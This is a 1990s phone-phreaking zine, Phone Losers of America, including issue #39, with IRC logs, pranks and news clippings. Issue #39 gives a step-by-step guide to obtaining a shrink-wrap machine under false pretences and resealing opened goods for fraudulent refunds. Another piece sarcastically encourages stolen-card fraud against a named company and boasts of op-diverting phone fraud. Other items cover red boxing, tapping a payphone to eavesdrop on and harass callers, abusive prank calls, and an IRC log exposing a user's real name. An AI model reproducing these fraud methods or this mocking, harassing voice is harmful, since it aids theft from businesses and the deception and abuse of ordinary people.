Well, since I wrote last, lots of shit has went on. First, El_jefe, quinbus and I went into business. We had this computer shop called RoyCo and it sucked. Needless to say, we went out of business. But that ain't shit. What is really cool is the trip to New York we took. It was El, me and Scorpion (no, not the warez guy, the 618 one) and we all flew up to go visit some #rock gurlies. It was pretty cool & was the first PLA/f0f0 joint trip. What is f0f0? I'll get to that in a second.

Anyway, we went there and met a bunch of kidz who go to school at the school they shot that fucking "Hackers" movie in. It was kinda funny as I watched the kids show up with Jolt and roller blades. You kinda have to wonder which came first. Anyway, it was those guys from #stuy95 (so named after the school, Stuyveseant or someshit) ya know, Loc, entropy, dokie, and the girls ladydeath, jammie, and zengrrl. They were all kinda cute, but way too young for me. [Come on Apok, you can't let that stop you. -ed]

At first we hated loc and them on irc, but when we met them, they weren't too bad. We all kinda hung out and shit. blah blah...you get the idea. Anyway, jammie's dad was really nice driving us around and shit. We saw loads of stuff.

Next, I guess I could tell ya about spiff.net. Yes, we *did* have our own little ISP. We lost it when we lost control of RoyCo. Now some guy who has never touched linux before in his life has it. I think he is getting paid the same we were, NOTHING!!! He's doin ok though. At least it will be easy to own it. :)

OK, now I can tell ya about f0f0. f0f0 is this new "group" in 618. Sc0rpion is the head of it and I think [z3ns] and eightball are in it as well. They like to harass on irc, so if your bored, come to #rock and say you don't phear da f0f0. That's enough, I'm bored. Oh yeah, the technical portion of this article:

Greets go out to: jammie's dad, ladydeath, n0rik0 (god your cute!!) quinbus, loc and crew, giggler, dhate (where the fuck you hiding?), and all the rest. Hey n0rik0, you really are cute!

Logs of dhate:

So, dhate thinks he can just release a PLA issue without my knowledge and get away with it? Just for that, I'm gonna publish the capture of my first encounter with him on IRC. That'll show 'im. By the way, are you still alive, dhate? You said you were on your way to Illinois for NonCon and nobody has heard from you since. It's been like two months now.

*** RBCP (operator@metrix.metrobbs.com) has joined channel #hack

*** Topic for #hack: <BandAid> potty mouth

*** #hack dec3169 807586343

*** Users on #hack: RBCP [Dean] Public oper Mother @lb2 @hosaka bandaid

+bitwrior @cavalier Adder_ @Mark @mistawho @loq @Voyager p @nnn ww_ww_x

+@`LuRCH bunker @dec3169 @ReDragon @elastic @dhate @Gentry @mdestiny viva @z

<dhate> RBCP??

> No, RBCP.

<dhate> hrmm

*** You have been kicked off channel #hack by dhate (i no believe you)

*rbcp* Who are you?? And why'd you kick me?? I'm RedBoxChiliPepper.

*dhate* hrm.. name who is in pla then

*rbcp* NOBODY is in the PLA. It's a mag that I write. It's not a club.

*rbcp* What is YOUR deal with PLA? Try looking at an issue and you'll see the e-mail address I'm using listed at the end.

*** RBCP (operator@metrix.metrobbs.com) has joined channel #hack

*** Topic for #hack: <BandAid> potty mouth

*** #hack dec3169 807586343

*** Users on #hack: RBCP deity ladyada Lazl0 @lb2 @hosaka bandaid bitwrior

+@cavalier @Mark @mistawho @loq @Voyager p @nnn ww_ww_x @`LuRCH bunker

+@dec3169 @ReDragon @elastic @dhate @Gentry @mdestiny viva @z @][ceman

*dhate* I READ PLA VIVIDLY

*dhate* AND EL_JEFE SAYS THERE ARE LOOSERS IMPERSONATING RBCP

*rbcp* Good, I'm glad to hear that. Oh. wait...

*rbcp* No, I'm really me. I'm just here becuase it's Friday and I have no life. See? Only RBCP has no life.

*dhate* YOU LIE

*dhate* YOU SHOULD BE AT DEFCON

*rbcp* I'm too POOR to go to Defcon. I'm sitting in my damned apartment in Corpus Cristi.

*dhate* yer lying

*rbcp* Ask me any question.

*dhate* yer not rbcp

*rbcp* (This is getting fun...) Prove I'm not. You're going to feel silly when you talk to el_jefe next.

*dhate* no i never feel silly cept when i look at my mommy nekid

*rbcp* You're really not going to let me on #hack? How do you know Zak?

*dhate* yes i know zak and i know apok0lyps

*rbcp* I know zak better than you.

*dhate* yer a fake

*dhate* get on yer other account then i believe

*rbcp* What other account?

*dhate* otherwise yer a fake

*dhate* basenet.com

*rbcp* I've never owned an account on that place. Zak & B0B have account there. I live a little out of the way from Basenet.

*** dhate is away: bathroom

*** RBCP (operator@metrix.metrobbs.com) has joined channel #hack

*** Topic for #hack: the defcon factor

*** #hack dhate 807588400

*** Users on #hack: RBCP @bludz Mother @hosaka @SnoCrash @h0trod ladyada @lb2

+bandaid bitwrior @cavalier @Mark @loq @Voyager p @nnn ww_ww_x @`LuRCH bunker

+@dec3169 @ReDragon @elastic @dhate @Gentry @mdestiny viva @z @][ceman

*** dhate is ~jereme@delta1.deltanet.com (Jereme Dean)

*** on channels: @#hack

*** on irc via server cs-pub.bu.edu ([128.197.13.20] Boston University CS

+Dept)

*** dhate is away: (Gone for 4m45s) bathroom

* dhate has returned *muh fro is back*

*rbcp* You calmed down yet?

*dhate* i still don't believe you

*rbcp* You'll feel silly tomorrow. What do you go by on Defcon VB?

*dhate* i go as dhate

*dhate* but i don't call that much

*dhate* like once a month cuz no one is ever on

*rbcp* You're like fruity or something. You're probably Deter's little brother.

*dhate* TOUCH MY MONKEY

*dhate* TOUCH IT

*rbcp* Are you some sort o pervert?

*dhate* nope

*rbcp* What's theh first letter on Zak's dad's name?

*dhate* roy

*dhate* i dunno he ain't my bed buddy

*rbcp* What are you trying to pull. That's THREE letters! I'm no dummy...

*rbcp* The PLA's number one harrassment target is Zak's dad, Weird Harold. YOU didn't know that, tho.

*dhate* i know bout wierd harold

*rbcp* no you don't. ever talked to him?

*dhate* yes i have talked to zak

*rbcp* Weird Harold, Twit. What about Deter, Greg Carson or Chris TOmkinson.

*dhate* i'm not the one claiming to be rbcp so none of that applies to me suqr

*rbcp* Go home before I write about you in pla034. Weird-o.

*dhate* zak said some lame ass's were impersonating rbcp

*dhate* hahah good write bout me

*dhate* what was the latest gif put out by pla?

*dhate* answer that one and i believe you

*rbcp* 07, Naked Amy & 06, Calimar

*dhate* werd, now i believe you

*rbcp* Good, now fuck off.

*dhate* hahaha i love you too

*dhate* any ways monk was pretending to be you so you should be happy i'm protecting your name or some lame bullshit like that

*rbcp* You don't even know what PLAGIF08.GIF is. I haven't released it.

*dhate* i got unrealeased pla gifs

*rbcp* And you're asking ME to prove it?

*dhate* like i said i dig pla

*rbcp* Ha, fooled you, I'm not REALLY RBCP. Want me to prove it?

Contact The Phone Losers Of America Nearest You!

ETEXT.ARCHIVE.UMICH.EDU - pub/Zines/PhoneLosers

FTP.INTERCONNECT.NET - pub/personal/pla

bueno@peak.org - RedBoxChiliPepper

cactus@i1.net - Zak a.k.a. el_jefe

collcard@big12.metrobbs.com - To contact Colleen Card

apok0lyp@i1.net - Apok0lyps

http://peak.org/~bueno/pla.html - Whombat Communications

http://www.basenet.net/~apok0lyp/index.html - PLA, Manson, Anime

http://www.compumedia.com/~jnoonan/pla - Original PLA Web Page

Nekid Amy: Colleen says no, you may not slob on my knob and to keep your lineman's handset to yourself. We know where you've been. We've seen pictures.

Issue #039

Volume Two, Issue Thirty-Nine, File 1 of 14

Issue 39 Index

___________________

P L A   3 9

July 27, 1996

___________________

~ Happy Anniversary Bill Cook & Tim Foley, we love you both! ~

Here it is.  Amidst all the fanfare and hoopla, PLA039 leaps from your electronic mail box to infect your very soul. It was just a few short years ago that I made my very first t-shirt in the happy little town of Austin, Texas.  This issue marks the three year anniversary my t-shirt and a hearty hello goes out to Bellcore, The United States Secret Service, the US District Attorney's Office and Hefty Ed's Screen Printing Service on 4th street in downtown.

As many of you have read previously, or otherwise heard through the electronic grapevines, RedBoxChiliPepper is no longer editor of Phone Losers of America. Your new editor, as I was most recently referred to so lovingly by my long-time friend John Lee on the alt.binaries.erotica.tshirts.for.sale.buy.them.now Usenet group: "the long hair and heavy metal beer drinking Texan that Bruce Sterling finds so .. ahem.. 'attractive in that MOD-LOD t-shirt'." In case you don't get the joke, my name is Erikb, and I'm a t-shirt salesman.

There are a few very distinct differences beginning with this issue of PLA. First and foremost, PLA is not registered with the Library of Congress, and doesn't have its own ISSN.  No, boys and girls, you can't go to Washington,  D.C. and look it up.  This adds a new era of illegitimacy to PLA in that with such a registration, PLA should never again face any legal challenge that would bypass any paper based magazine. PLA will also now be a yearly publication since I'm so busy making t-shirts all the time.

Now, PLA's first order of business: I still have several hundred of these amazing looking LOD-MOD t-shirts for sale! They're a must for any real hacker and have a picture of that big war thing I was in and everybody knows that I won. I mean, it's obvious and my t-shirt proves it. I'm a winner dammit. Okay?

Editor-In-Chief : Erik Bloodaxe (aka Chris Ggggggggggggggggnz)

Brought To You By : The Letter "G"

News : Channel 3

Photography : That guy across the street in the black van with a telephoto lens pointing at my window

Publicity : The local newspaper's Police Log

Prison Consultant : Shelly Jaffe's Son & Bonnie Vitello's Husband

Creative Stimulus : Milk & Cheese Cookies

Librarian : Maryanne (uhhh.. huh huh huh huh)

Thanks To : James Heggie, OCI, grandma, FLaK, Cultura O Digital, Prohibited Data Processing, Johnny Kong (Phone Losers of Asia), Techmitch

No Thanks To : Fred Meyer (who didn't even care)

"You have a collect dave from dave, will you dave for the dave?" -[z3ns]

The PLA web page still exists and is still as lame as ever so why the hell haven't you visited yet? Rather than looking at this boring white on black ascii,  you  COULD be  looking at  black on  white html!!  So what are you waiting for? http://www.peak.org/~bueno/pla.html

TABLE OF CONTENTS:

Introduction

Shrink Wrap Machines

How To Rip Off Send-A-Song

Wrong  Numbers

Phone Operators Stupider Than OCI?

Red Boxing Bust?

PLA  Headline News

Random Stuff You Don't Care About

Released on July 27,  1996

Okay, I'm sorry, I didn't mean to make anyone think that PLA had suffered some kind of sick corporate takeover but I just couldn't resist. I bet I really fooled every single one of you, though. If you're still waiting for the latest PLA phone directory that's just slightly under a year overdue now, wait no longer and pick up PLA96SUM at a store near you.

Bell Odysey - RedBoxChiliPepper

(to the tune of Space Odysey by David Bowie)

Bell Control to Lineman Bob.

Bell Control to Lineman Bob.

Check your toolbelt now and put your Bell hat on,

Bell Control to Lineman Bob.

Found my truck keys - engine on,

Get your work orders & please don't take too long.

This is Bell Control to Lineman Bob,

You've really screwed up good,

The technition wants to know the cable & pair,

Now it's time to leave your Bell truck if you dare.

This is Lineman Bob to Bell Control,

I'm climbing up a pole,

And there's spray paint on this box that says, "PLA."

And these wires look oddly different today.

For heeeeere am I standing on a phone pole,

Faaaaaar above the ground,

I just dropped my shoe,

But there's not much I can do.

Though I've fixed 100,000 lines,

I'm getting really bored,

And I think my conscience knows which way to go,

Who's this guy that's on my phone saying, "y0 y0 y0 y0 y0 y0?"

Bell Control To Lineman Bob,

Our switch is dead, there's something wrong,

Can you hear me Lineman Bob?

Can you hear me Lineman Bob?

Can you hear me Lineman Bob? (fade out)

Using A Shrink Wrap Machine To Get FREE Stuff - by Novastorm (512)

(A Follow Up to PLA #12)

Surely you have gone shopping and realized that prices today are just unbarable.  Well, I intend to enlighten you on a machine that most people aren't even aware of.  In the following pages, I intend to show you how to aquire and correctly use a shrink wrap machine.  This is for informational purposes only.  If you try any of these techniques, I take no responsibility for your thoughtless and greedy actions.  Anyways, on to the good stuff. >:)

One company that you can aquire ANY size shrink wrap machine you need is AJM.  Their phone number is 1-800-858-4131.  Tell them that you are going to start a family business and need to wrap boxes.  They will ask you for a specific size, but tell them that you need the UB-40 model, which is rather large and can wrap almost anything you will need to wrap.  Of course, they will ask how you got their number, since they don't like to sell to the general public.  Just tell them that a friend of your's who works for Electronics Boutique gave you the number.  They buy all of their shrink wrap machines from them and will be happy to help you once you say that.  If you have ever bought a video game from there, and when you openned it, the manual was a wrinkled and dirty, now you know why.  They rewrap returns and sell them as new.  Are the wheels starting to turn yet?  Good.  Anyways, AJM will ask for your business's name.  Just give them any old name, but make sure to tell them that you don't have a sign and all of your mail has been coming under your name, so please ship it to me under my name so as not to confuse the mailman.  Be sure to order the plastic wrap and heat gun along with the machine.

Now that you have your handy dandy shrink wrap machine, it's time to learn how to use it.  Just put the roll of plastic onto the machine where the bar that goes across separates the two layers as you pull them apart.  Once you have that done, it only gets easier.  Say like you just bought a video game and it cost you $89.99.  Everyone knows that's a rip-off. At that price, for every two games you buy, you could have a new system.

Now the tables can be turned.  Just remove the game and the instructions and close the box.  Pull out some plastic wrap and place the box in the wrap between the two layers.  Use the arm to crimp the plasic on all sides making sure there is about 1.5" of extra plastic on each side.  Now, just turn on the heat gun and blow hot air all over the box.  Make sure to keep the gun moving because you can burn a hole through the plastic if you do it incorrectly.  Now that it's sealed, you can march it back up to Wal-Mart and get your refund.  They take anything back that's sealed, and if they ever DID open it, you can say, "What the fuck kind of store is this?!  I'm glad I didn't open that damn thing!"

Of course, video games aren't all you can get.  Basicly anything that comes wrapped in plastic can be rewrapped, and they have to take it back since it is a generally wide spread "fact" that the general public can not reseal items.  Another ploy that they have is to put little stickers called the "factory seal".  Since they are just stickers, hold the heat gun over the sticker to melt the glue, peel it back, then restick it when you are through.

To get past items sealed in celophane, just cut off the end of the celophane back and use the machine's crimp arm to reseal it.  Just press down, hold it, then slide it out slowly.  It will reseal the bag in the same manner that the factory does!

For music CDs, just unwrap & remove to top of the case from the hinges so as not to remove the hologram sticker, pull out the CD, and rewrap.  As you can see, a shrink wrap machine can be very handy and the whole setup only costs about $450, a small price to pay for the amount of use you can get out of it!

Now you can laugh at those people trying to pull the old, let's put a 2400 baud modem in this 28800 box.  I don't recommend calling the store to brag about what you did, but do whatever floats your boat.  Have fun!

Send-A-Song, We Apologize

A lot of you might remember an article I wrote in PLA037 concerning a company called Send-A-Song. I was recently indirectly contacted by a representative from the company about the article who said that what I wrote was encouraging people to use stolen credit cards and they were "losing big money" because of me.

Now, go back and read the article. Do you see one single reference to using a stolen credit card to obtain their services? Not even one? All I did was give them a little free advertising by doing a favorable review of their services, listing all of their songs and alerting potential customers that if you try to block your ANI, you won't be able to use their system.

Aw, who am I trying to kid? It was wrong of me to write that article and I should be put away for a really long time. I think I owe Send-A-Song a sincere apology and I need to acknowledge that Send-A-Song had every right to threaten me with a lawsuit rather than just tighten up their security. So I want everyone to just disregard that article I wrote and not to try any of the things I insinuated. And whatever you do, DON'T use any of your stolen credit cards on their system when you dial their number at 1-800-272-7664 and don't be usin' that handy-dandy list of all their current songs I typed out in PLA037.

In fact, just throw PLA037 away, it's bad. And when you don't use those stolen credit cards to order your stolen songs when you're not dialing 1-800-272-7664 don't forget to not give your loved ones the Song Retrival Center's phone number which is 1-800-915-3443. And if you've ever got any frustration to let out, DON'T let it out on the shmucks sitting at their desks at the Send-A-Song Customer Service center at 1-800-999-7635. They don't deserve it. If you've forgotten how to obtain the stolen credit cards, just forget it because using stolen credit cards is WRONG.

So don't read my old file on getting credit cards that's detailed in PLA024. And even if you did, I trust all my loyal readers never to use a stolen credit card on Send-A-Song. They've got far too many other things to worry about to bother with upgrading their system into something just a little more secure, not that I'd know anything about that.

Seriously, though, why is credit card fraud so easy? I can't understand why multi-million dollar companies like Mastercard & Visa can't work out a simple secure system for their customers. Remember a couple years ago when AT&T just started accepting credit cards to make long distance telephone calls? They hadn't finished their automated system yet so every single time you had to go through a live operator who would ask you for your credit card number, exp.  date and a batch code. Asking for a batch code was difficult enough to probably throw off half of the would-be fraudsters into thinking it wouldn't work.

But now they're completely automated and anybody can do it. What's even worse is that you can op-divert and trick AT&T's system into thinking you're calling from any place you want. Anyone could steal your credit card, make thousands in phone calls and make them all to appear to come from the White House. Or even worse, make them come from your own house, meaning you'd most likely have to pay for the calls.

Now we're dealing with THREE multi-kazillion dollar companies who can't fix a few flaws and make your credit cards more secure. Ever dealt with the roaming operators on a cellular phone? Used to it was simple, automated and asked only for your credit card number and expiration date. Today it's still the same but they've added one little extra security feature - you have to enter the zip code where your credit card statement arrives. Screw up just one little number on the zip code and your call doesn't go through.

Now if a crappy little company like the American Cellular Roaming Network can do this, then why can't AT&T? It made c-master completely useless for my cellular calls and considering all the time it took to get a number with a matching zip code, I just lost interest in using my cell phone like that and stuck to normal phones. (Like I'm going to WORK for my free calls)

Some of you might have heard about my most recent bust. I was op-diverting to a U.S.West voice mail, getting a Seattle operator, using her to op-dirvert to 1-800-CALL-ATT and using my stolen credit cards to make phone calls. The detective working my case said he was totally stumped and never would have caught me if I hadn't called a certain number. (I called an out of state business, the detective called and asked who they were doing business with in Albany, Oregon, the business told him everything.)

So they came over, confiscated all my computer and phone stuff and kept it all for about a month. Even though he estimated my fraud at around $10,000 that he knew about, my charges were reduced to a misdemeaner and I was fined $250 and put on two years of unsupervised probation. Let's see...$250 to make about $10,000 in phone calls. Boy, they showed me.

All of this leads me to one conclusion - the feds and police shouldn't have any control over credit card and phone fraud. It's like if K-Mart decided to display all of their electronic equipment out in the parking lot and just left it out overnight. They would lose thousands of dollars every night and when they went to the police to complain, the police would call them idiots and tell them to keep their stuff inside. The police aren't going to patrol the parking lot to keep people from stealing, why should they have to patrol the phone system and waste time investigating fraud?

All Send-A-Song needs to do to cut their fraud in half is to add that extra step with the zip code. It's all automated, wouldn't cost them any extra man-power, is no inconveinence to legitimate customers and I'm betting it would make itself worth the trouble in about a day. And the same goes for AT&T because I know I'm not the only person in the world who's used extrapolated credit cards to make phone calls.

Hey, hold on a second, wasn't this supposed to be an article to rag on Send-A-Song for attempted censorship of my article? Shit, I'm sorry, it's late. Besides, Apok0lyps forgot to do a rambling article this issue so somebody had to. Anyway, Send-A-Song asked me to remove every reference of their name and number from every issue of PLA, including the quarterly phone directory, the PLA037 article, the PLA037 table of contents AND the index of PLA issues.  So I want everyone to please forget this name and number: Send-A-Song 1-800-272-7664. I never wrote the article. Forget you saw it. It doesn't exist.

Wrong  Numbers

Since moving to Albany, Oregon, me & Colleen Card have been plauged with wrong numbers. Most of the people thought they were calling Les Shwabb Tire Company so I figured I'd change our phone number and that'd be the end of it.  Wrong. The same day the number was changed we got a few more wrong numbers.

After running a BBS on that line for awhile we got bored with it and shut it off. Tired of the people calling for a data line, we changed our number yet again and STILL got people dialing the wrong number. I finally arrived at the conclusion that all Albany citizens are retarded and don't know how to operate anything more advanced than a CB Radio, monster truck or a gigantic belt buckle. We still get about one wrong number every couple of days. Below are some transcripts of some of the people calling our house.

RBCP: Bueno?

THEM: Is this Les Shwabb?

RBCP: Yeah, of course.

THEM: I need to find out what your price range is on a set of new tires for a '78 Chevy pickup.

RBCP: Lemme check here...I can set you up with four new tires for $1250.00 plus tax, installation charges, labor, delivery, shipping, handling and we'll wash your winshield for free. It'll come to slightly less than $2000.

THEM: Uh, thanks. (click)

RBCP: Hello?

LADY: Is this Les Shwabb?

RBCP: Well, that's about a stupid question, of course it is. What do you need?

LADY: If you're gonna talk to me like that I don't really care to do business with you.

RBCP: Like I fuckin' care, bitch.

LADY: (click)

RBCP: (click...*69...ring...ring...ring...)

LADY: Hello?

RBCP: (yelling) Hey, we don't need you calling our place of business, wasting our fucking time and then hanging up on us! If you got some fucking problem, why don't you come over here and talk to me about it.

LADY: Who is this??

RBCP: You know goddamned well who this is. Don't ever call here again! (click)

[That'll teach Les to have a number close to ours. On other Les Shwabb calls I majorly underquoted prices, like 50 cents for engine parts, etc.]

RBCP: Bueno?

THEM: (old man) Is my truck ready yet? (how rude)

RBCP: Uhh...which truck is that, sir?

THEM: It's the red Ford [whatever].

RBCP: Ah. Uhhh....well there was a little problem with that, sir. See, I just started working here recently and I wasn't aware of the "no smoking under the hood while you're working on a truck" policy and well, to make a long story short, your engine is on fire.

THEM: What do you mean my engine is on fire??

RBCP: I mean I was working on it and I dropped my Marlboro and it's on fire.

THEM: What part of it caught on fire?

RBCP: Well, right now about half of it's burning and it looks like it's penetrated through the dashboard and it's starting to burn your inerior.

THEM: You mean it's on fire RIGHT NOW?? (really pissed now)

RBCP: Yeah, I'm still looking for the fire extinguisher.

THEM: You'd better be pulling my fucking leg.

RBCP: No sir, I'm serious. I really should get off the phone and take care of this.

THEM: You better be fucking kidding me.

RBCP: Sir, I need to go because if the fire spreads and catches our building

RBCP: Hello?

THEM: Hi! This is [blah blah] with [blah] Window Repair Incorporated. We're having a special this week on car window repair and wanted to know if maybe you have any cracks or breaks in your car windows.

RBCP: What company did you say this is?

THEM: [whatever] Window Repair Incorporated.

RBCP: Well, last night some kids came in our driveway with rocks and put big cracks in every one of the windows on all our cars. Gee, it's rather conveinent that you're calling me the day after and offering to fix them, isn't it?

THEM: (laughs)

RBCP: Yeah, really funny. I'm calling the police and having you all thrown in jail! (click)

Personally that was one of my favorites. I was just pissed because it was 9:00 in the morning and he'd woke me up. Recently SOMEbody had managed to add an extension phone to a pay phone so we (er, I mean SOMEbody) could make free calls and/or listen in on other's conversations. Here's a few transcripts of some of the funnier things that somebody did:

KID: (inserts quarter, dials number...ring...ring...)

MOM: Hello?

KID: Mom? Could you come and pick me up now?

MOM: Okay, give me a few minutes.

KID: Alright. Bye.

RBCP: (imitating kid) Ya fucking bitch.

MOM: Excuse me Daniel? (by this time "Daniel" has hung up)

RBCP: Whatever, bitch. (click)

[poor kid probably got grounded for a few years]

LADY: (inserts quarter, dials number...ring...ring...reaches another lady and talks for awhile...)

RBCP: (deep voice) Please deposit 25 cents.

LADY: I already put in 25 cents!

RBCP: (deep voice) Please deposit 25 cents.

LADY: (pissed off sigh) Hold on...(drops in another quarter)

RBCP: (deep voice) Thank you!

LADY: (continues to talk to her friend for a few more minutes)

RBCP: (deep voice) Please deposit 82 cents.

LADY: Debra, this phone is messed up, I'll have to call you back later.

RBCP: (deep voice) Please deposit your life savings and leave the phone.

LADY: What?

RBCP: (deep voice) Please give me all your credit card numbers.

LADY: Is this a joke??

RBCP: (deep voice) No. Please take off your shirt and shake your boobs around.

LADY: (slams down phone and leaves)

RBCP: (laughes his head off for three hours straight)

RBCP: (picks up phone in hears a lady in the middle of a conversation)  (deep voice) Please deposit $3.00 for the next one minute.

LADY: (ignores me and keeps talking)

RBCP: (deep voice) I SAID deposit $3.00 for the next one minute. Are you deaf?

LADY: Gina, I think that's one of my neighbors again, we've had this problem before. I'm gonna hang up and call the police. (hangs up)

[Heh, the other lady thought it was someone at her house. Hope I didn't get anyone arrested.]

Phone Operators Stupider Than OCI? – Pennywise

If you want an example of how stupid operator's are, here's something that  happened to me recently. After school, I was bored and trying to call every state to shout "You stole my house/cactus/milk dud" at someone. So, I called up the operator and asked for the area code for Pennsylvania. The friendly lady told me, "What state please?". I repeated myself, thinking she might be a little hard of hearing.

"Pennsylvania."

"Sir, I need the state." She said testily like what the hell was I  doing wasting her time asking for a city in God-knows-where.

"Umn, Pennsylvania please." I was confused here.

"Sir, that's not a state." Once again, she sounded so sure of herself I was starting to doubt we had fifty of the damn things and not forty-nine.

"Yes, actually it is," I tried for the last time, "It's somewhere out east."

"I'm sorry, you don't know what you're talking about... click."

Wow. Now if that doesn't say something about our phone companies. I personally think maybe the government should stop ragging on Kathy Lee and go after PacBell as the child laborers. Finally, I dialled "00" to get the AT&T operator. When it gives you that stupid little "Say 'operator' for assistance," thing, I said, "Sloperator" and got an operator.

"The area code for Pennsylvania please."

"What city?" (she at least knew it was a state).

"Pitsburgh".

"The area code is XXX" (now I forget what it is, dammit).

"Umn, thanks, could you give me the number of a Zimmer in Pittsburgh?"

"There is none. How about a Zimmerman?"

"Yea, that'll do"

"The number you selected is XXX-XXX-YYYY" I hate that computer voice.

The operator came back on and I asked her to complete the call for me. Then she asked how I would pay and I said coins. Then I started putting in red box tones.

"Umn, sir, that doesn't sound like normal."

Damn, I'm thinking... she's on to me. "Well, I'm using a red box" I decided to confess.

"Is that a Private Telco?" MY GOD!!! How stupid are these people??

"Yes it is. Can you connect me now?"

"Sure. Sorry about the trouble."

Red Boxing Bust – RedBoxChiliPepper

Red boxing, although kind of a pain for lengthy calls, has always been considered by most people to be a fairly safe form of phreaking. Until recently I've never heard of anyone being busted by making a red box call, but a few weeks ago I got some e-mail from Mock, a Canadian phreak who detailed the following story:

------------

I was making a call to a friend of mine, I had never redboxed to him before, and I had never redboxed to a number in his prefix either.  So when the operator comes on, I decide to experiment and see if I can get her to go away and let me talk in peace for a while.  I convince her to let me put 20 mins worth of quarters in the payfone.  She has to "empty" the hopper, because the hopper only holds $4 worth of quarters, and everything seems just peachy.

I'm at a university, so when a security guy comes walking up I know I'm probably in shit, but usually they're pretty dumb and can be talked out of making a big deal about anything.  I pretend to be Joe Schmoe innocent type, I give him my name and student card, and claim that some other guy was here just a few minutes ago using the fone.  I hang up and take off.

As I head for home (I live on campus) a security van pulls up, the security guards ask me to get in the van.  We go to the security booth.  They get very accusatory, I deny everything.  Out walks the police officer and he does the little yer under arrest spiel.  I get searched and damn near charged with a concealed weapons charge because I was carrying a pocket knife.  The cop takes my tape recorder, my pocket mag light, my wirecutters, my screwdrivers and the knife.  He leaves me my little black book and my rat shack tone dialer (I didn't claim he knew what he was doing <G>).

Then I get put in the car, and since I didn't feel like spending the night in jail, and I know BC-Tel can just check the records and see if I was on the line when the security guard caught me, I decide to 'fess up.  The long and the short of it is, I haven't been charged, but the school was just a bit upset. Oh yeah, they searched my house too, you should have seen their faces when they saw all my electronic junk spread out across my bed... I'm sure they thought I was the god of hackers himself out to destroy the universe or something <snicker>.

Oh yeah a few funny quotes from officer Kassan.  "have you ever heard of a black box?"  "have you ever done any hacking before?"  "where did you ditch the black box?"  He wouldn't believe I had used the tape recorder...  anywayz, yer right for the most part, it should be impossible to get caught. I unfortunately made the mistake of boxing from a place where I couldn't run away, thus when security came looking I couldn't do anything but play dumb.

------------

Kinda scary. Personally, I've laughed my head off at any operator who'd threatened to send security to my pay phone, no matter where I was. Guess I should be a little more careful in the future. I heard another story from an old friend of mine in Florrisant, MO who I'd made a red box for about five years ago.

He claimed that he was at Subway Sandwhich shop using their phone outside showing off his red box to a few friends but was having problems with it and kept getting a live operator. Finally they gave up and went inside to eat.

About 10 minutes later a Southwestern Bell truck pulled up and the guy got out, opened the front of the phone and plugged a little terminal into the front of the phone. (He described it as looking like one of those personal organizers, but with a lit-up screen.)

The lineman messed with his terminal for about five minutes, unplugged it and left. Whether this was related to his playing on the phone or not, neither of us know.

Phone Losers of America Headline News

Neither one of the news clippings this month are phone related but they're both fairly amusing.

Van crashes into Redneck Shop - Albany Democrat Herald, March 25, 1996

LAURENS, SC (AP) - A man drove a van through the front windows of a new store that sells Confederate and Ku Klux Klan paraphernalia, and it was no accident,  police said.

Police said David Prichard Hunter, 43, backed a white van in and out of the front of the Redneck Shop several times on Sunday, destroying the windows and damaging some of its contents. Hunter, who is white, was charged with malicious damage to property and held in the Laurens city jail.

Self-professed KKK member John Howard opened his shop inside an old movie theater March 1. On display inside the store and Klan memorabilia and flags, as well as pictures of cross burnings, Klan meetings and Klan founders. He has said he is selling items to raise funds for a Klan museum.

No one was inside the store when the incident occurred. Police said no one was hurt. Hunter was angry about the shop's existence and had vowed "to do something about it," said his brother, Kevin. Howard said he was out of town picking up T-shirts when the damage was done. "I don't know why he done it," Howard said.

------------

April fool joke backfires - Albany Democrat Herald

CORVALLIS - A Corvallis couple have been charged with forgery and aggravated first-degree theft after cashing a fake sweepstakes check they had received as an April Fool's Day joke, according to Corvallis police.

The $52,000 check came in Robert and Gay Lynn Kahler's mail last week, addressed to a former roommate. The check was accompanied by a letter explaining that the former roommate had won $260,000 and the check was the first of four annual payments.

Police said Kahler forged the roommate's signature on the back of the check and his wife deposited it in her checking account through an automated teller machine. When the couple learned their account had been credited, they got several cashier's checks and bought a 1993 Ford Explorer and a 1994 Ford truck from local auto dealers. Much of the rest of the money was withdrawn as cash and the Kahlers used some to pay bills.

The couple's bank alerted police when officals found the sweepstakes check was drawn on a bank that doesn't exist. Police recovered the two vehicles and about $10,400 in cash. They contacted the former roommate, who said he had made the check and the letter on his home computer and sent it to the Kahlers as an April Fool's Day joke.

The Kahlers were taken to the Benton County jail on Saturday. The former roommate has not been charged with any crimes, but the incident remains under investigation.

Classifieds and Other Things:

COOLEST E-MAIL OF THE MONTH: Good Afternoon, I saw your address while on line.  I figured that most people are into saving money  so I thought  I would drop you  a friendly  note.  Does  your long  distance carrier give you a flat 9.9 cents per minute on your interstate long distance  24-hours-per-day 365-days per year? AND the ability to ELIMINATE your long distance phone bills AND FREE teleconferencing?  If not, say the word and I'll send off a helpful  email file that COULD  save you a lot of money or even make your long distance FREE! <g> Warmest regards,       -Ken Korbel

"Dear  customers  of   Fred Meyer,  due to  the pending lawsuit   of  five  hundred people getting food poisoning,  all  food  lanes  are temporarily closed." -aLi3N

Hey, everyone,  I still got a ton of these cool tshirts left! Get 'em while they're hot! The PLA-ATT War tshirt is now available.  For more details,  email bueno@peak.org or send  all your money (well,  $17.00, anyways) to Phone Losers of America, PO Box 1872, Albany, OR, 97321.  Cassette  tapes  of  really stupid  prank  phone  calls are also available.

Next time you're on IRC, stop by #rock so we can harass you.  If  that's too lame  for you, you can talk to Scott The Believer and his slightly overweight daughter in  #deaf and if all else fails,  check out #stuy95 and talk to (loc)utus.

I found this message posted   in  the news   group alt.2600  by locutus@dorsai.org."Well I know it's off topic and  I know it's inapropriate, and I  know  I'll probably get flamed,  but part of me just has to extend a  'fuck off and die' to rbcp..I hate that sonofabitch...loc"(utus)  (i'm so popular) :

PLA is in desperate need of submissions  because my stuff is so  lame so  send me  your stuff,   dammit.  Phone  call transcripts,  stupid stories,  phone numbers, threatening  e-mail you've received,  amusing posts, money,  anything.  I can be reached at bueno@peak.org & anyone submitting an article that appear in a future issue of PLA will get a FREE autographed sock,  previously owned by el_jefe and twice as smelly.         Act now!

I love you,  Techmitch, you are my only fan!  Run away with me so  I can be  free of this abusive RedBoxChiliPepper.     -Colleen Card

